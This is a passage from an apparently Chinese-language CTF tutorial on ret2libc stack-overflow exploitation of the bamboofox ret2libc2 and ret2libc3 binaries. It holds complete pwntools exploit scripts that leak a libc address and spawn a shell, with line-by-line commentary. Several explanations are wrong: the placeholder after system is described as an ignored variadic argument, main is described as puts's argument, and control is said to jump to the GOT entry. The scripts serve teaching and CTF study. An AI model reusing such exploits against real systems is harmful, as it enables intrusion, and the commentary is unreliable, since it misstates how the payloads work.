指令下一条指令的地址是他们控制的内存地址,这个地址包含了要执行的命令字符串。 -
调试和可预测性:使用
pop ebx
可能使得攻击更容易调试和预测。因为 EBX 寄存器在许多程序中用于参数传递,攻击者可以更容易地预测和控制程序的行为。
##!/usr/bin/env python
from pwn import *
sh = process('./ret2libc2')
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
[b'a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
sh.sendline(b'/bin/sh')
sh.interactive()
payload = flat( [b'a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
在栈溢出攻击中,攻击者通过覆盖栈上的返回地址来改变程序的控制流。在这个脚本中:
b'a' * 112
:用112个'a'字符填充缓冲区,直到覆盖掉局部变量和EBP。gets_plt
:覆盖返回地址,使得函数返回时跳转到gets
函数的地址。pop_ebx
:gets
函数调用后,pop_ebx
指令将buf2
的地址放入EBX寄存器。buf2
:pop_ebx
的参数,即EBX寄存器的值,指向攻击者控制的内存区域。system_plt
:gets
函数返回后,跳转到system
函数的地址。0xdeadbeef
:这里是一个占位符,它原本是作为system
函数的参数,但由于system
函数是可变参数函数,实际执行时会忽略这个值。buf2
:再次使用buf2
,这次是作为system
函数的参数,即要执行的命令字符串的地址。
0xdeadbeef
在这里的作用是作为一个占位符,确保栈布局的准确性,并且由于system
函数的特性,它实际上不会影响system
函数的执行。当system
函数被调用时,它将从buf2
指向的地址读取命令字符串,忽略前面0xdeadbeef
这个无效的参数。
攻击者随后通过发送/bin/sh
来覆盖这个占位符,确保system("/bin/sh")
被正确执行,从而获得一个shell。这种技术在栈溢出攻击中很常见,用于确保攻击者能够控制程序的执行流程。
例 3(无system 无/bin/sh)
这里以 bamboofox 中的 ret2libc3 为例 。
点击下载: ret2libc3
在例 2 的基础上,再次将 system 函数的地址去掉。此时,我们需要同时找到 system 函数地址与 /bin/sh 字符串的地址。首先,查看安全保护
➜ ret2libc3 checksec ret2libc3
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
可以看出,源程序仍旧开启了堆栈不可执行保护。进而查看源码,发现程序的 bug 仍然是栈溢出:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets((char *)&v4);
return 0;
}
那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点:
- system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
- 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下
- https://github.com/niklasb/libc-database
所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。
那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。
我们自然可以根据上面的步骤先得到 libc,之后在程序中查询偏移,然后再次获取 system 地址,但这样手工操作次数太多,有点麻烦,这里给出一个 libc 的利用工具,具体细节请参考 readme:
此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。
这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下
- 泄露 __libc_start_main 地址
- 获取 libc 版本
- 获取 system 地址与 /bin/sh 的地址
- 再次执行源程序
- 触发栈溢出执行 system(‘/bin/sh’)
exp 如下:
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
print("leak libc_start_main_got addr and return to main again")
payload = flat([b'A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter(b'Can you find it !?', payload)
print("get the related addr")
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
print("get shell")
payload = flat([b'A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()
好的,让我们更详细地分析这个脚本的每一部分:
1. **脚本解释器声明**:
#!/usr/bin/env python
这是一个Unix系统下脚本的shebang行,它告诉系统这个脚本应该使用哪个程序来执行。在这里,它指定使用环境中的Python解释器。
2. **导入pwntools库**:
from pwn import *
这行代码导入了`pwntools`库,这是一个Python库,专门用于帮助安全研究人员和渗透测试人员编写漏洞利用代码。
3. **导入自定义库**:
from LibcSearcher import LibcSearcher
这行代码导入了一个自定义的`LibcSearcher`类,这个类可能用于搜索和确定libc库函数的偏移量,从而找到函数的实际内存地址。
4. **启动目标程序**:
sh = process('./ret2libc3')
这行代码创建了一个目标程序`ret2libc3`的进程对象,允许脚本与程序进行交互。
5. **加载ELF二进制文件**:
ret2libc3 = ELF('./ret2libc3')
使用`pwntools`的`ELF`类加载目标程序的二进制文件,这允许脚本访问程序的符号、GOT表、PLT表等。
6. **获取函数地址**:
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main'
这些行分别获取了`puts`函数的PLT地址、`__libc_start_main`的GOT地址和`main`函数的符号地址。
7. **打印泄露GOT地址的信息**:
print("leak libc_start_main_got addr and return to main again")
这是一条打印语句,用于告知用户脚本即将泄露`__libc_start_main`的GOT地址,并准备重新返回到`main`函数。
8. **构造并发送payload以泄露GOT地址**:
payload = flat([b'A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter(b'Can you find it !?', payload)
这里构造了一个payload,包含112字节的填充数据,然后是`puts`的PLT地址、`main`函数的地址和`__libc_start_main`的GOT地址。这条payload将被发送到目标程序,覆盖返回地址,使得程序执行`puts`函数,打印出GOT地址。
(填充数据:b'A' * 112
是一个由112个ASCII字符'A'组成的字节串。这部分填充数据用于覆盖栈上到返回地址之前的空间。这是因为栈溢出攻击需要覆盖函数的返回地址,而填充数据确保覆盖发生在正确的位置。
覆盖返回地址:puts_plt
是puts
函数的程序链接表(PLT)地址。在栈溢出攻击中,攻击者会用这个地址覆盖当前函数的返回地址。当main
函数执行完毕尝试返回时,控制流将跳转到puts_plt
指定的地址,即puts
函数。
puts函数的参数:main
是main
函数的地址,它在这里作为puts
函数的参数使用。当puts
被调用时,它会尝试打印这个地址指向的内容。由于main
函数的地址通常指向程序的代码段,这可能导致puts
打印出一些机器码,但关键是它将跳转到下一个参数指定的地址。
GOT地址泄露:libc_start_main_got
是__libc_start_main
函数的全局偏移表(GOT)地址。在puts
函数执行后,程序的控制流将跳转到这个GOT地址所指向的地址。由于puts
函数的返回地址被覆盖为main
函数的地址,puts
执行完毕后,程序将尝试执行main
函数的机器码,这通常会导致程序崩溃或异常行为,但在此之前,puts
会打印出__libc_start_main
的GOT地址。)
9. **接收并解析泄露的GOT地址**:
libc_start_main_addr = u32(sh.recv()[0:4])
这行代码接收了程序输出的数据,并从中解析出`__libc_start_main`的地址。
(接收数据:sh.recv()
是 pwntools
库中用于从目标程序接收数据的方法。在这个上下文中,它接收了目标程序通过 puts
函数打印出来的数据。puts
函数通常用于在标准输出上打印一个以空字符结尾的字符串。
切片操作:[0:4]
是一个Python切片操作,它从接收到的数据中取出前4个字节。在大多数现代系统上,一个整型(通常是32位)占用4个字节,即32位。因此,这个操作获取了打印输出的前32位,也就是 __libc_start_main
的GOT项的值。
转换为无符号整数:u32()
是 pwntools
库中用于将字节串转换为无符号32位整数的方法。这个方法将前4个字节的数据按照小端序(least significant byte first)解释为一个无符号整数。小端序是x86架构的字节序,低位字节存储在地址的低位上。
存储结果:将转换得到的无符号整数存储在变量 libc_start_main_addr
中。这个变量现在包含了 __libc_start_main
的GOT项的值,攻击者可以使用这个值来确定libc库的基址。)
10. **使用LibcSearcher确定libc基址和其他地址**:
创建 LibcSearcher 实例:
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
这行代码创建了一个 LibcSearcher
类的实例,并将 __libc_start_main
函数的名称和从目标程序中泄露得到的 __libc_start_main
函数的地址作为参数传递。LibcSearcher
类可能包含了一个数据库或算法,用于根据函数名称和地址来确定 libc 的基址。
计算 libc 基址:
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
这行代码计算了 libc 的基址。libc.dump('__libc_start_main')
方法调用可能返回了 __libc_start_main
函数在 libc 中的偏移量。通过从泄露的 __libc_start_main
地址中减去这个偏移量,可以得到 libc 的基址(libcbase
)。
确定 system 函数地址:
system_addr = libcbase + libc.dump('system')
一旦有了 libc 的基址,就可以通过加上 system
函数在 libc 中的偏移量来确定 system
函数的地址。libc.dump('system')
返回了 system
函数的偏移量,将其与基址相加得到 system
函数的实际内存地址。
确定 "/bin/sh" 字符串地址:
binsh_addr = libcbase + libc.dump('str_bin_sh')
类似地,这行代码计算了 "/bin/sh" 字符串的地址。libc.dump('str_bin_sh')
返回了 "/bin/sh" 字符串在 libc 中的偏移量。将其与基址相加得到字符串的实际内存地址
这些行使用`LibcSearcher`类来确定libc库的基址,然后计算出`system`函数和`/bin/sh`字符串的地址。
11. **打印获取shell的信息**:
print("get shell")
这是一条打印语句,告知用户脚本即将尝试获取shell。
12. **构造并发送payload以获取shell**:
payload = flat([b'A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
这里构造了一个新的payload,包含104字节的填充数据,`system`函数的地址,一个占位符(通常用于覆盖栈上的参数),以及`/bin/sh`字符串的地址。这条payload将被发送到目标程序,触发栈溢出,执行`system("/bin/sh")`,从而获取一个shell。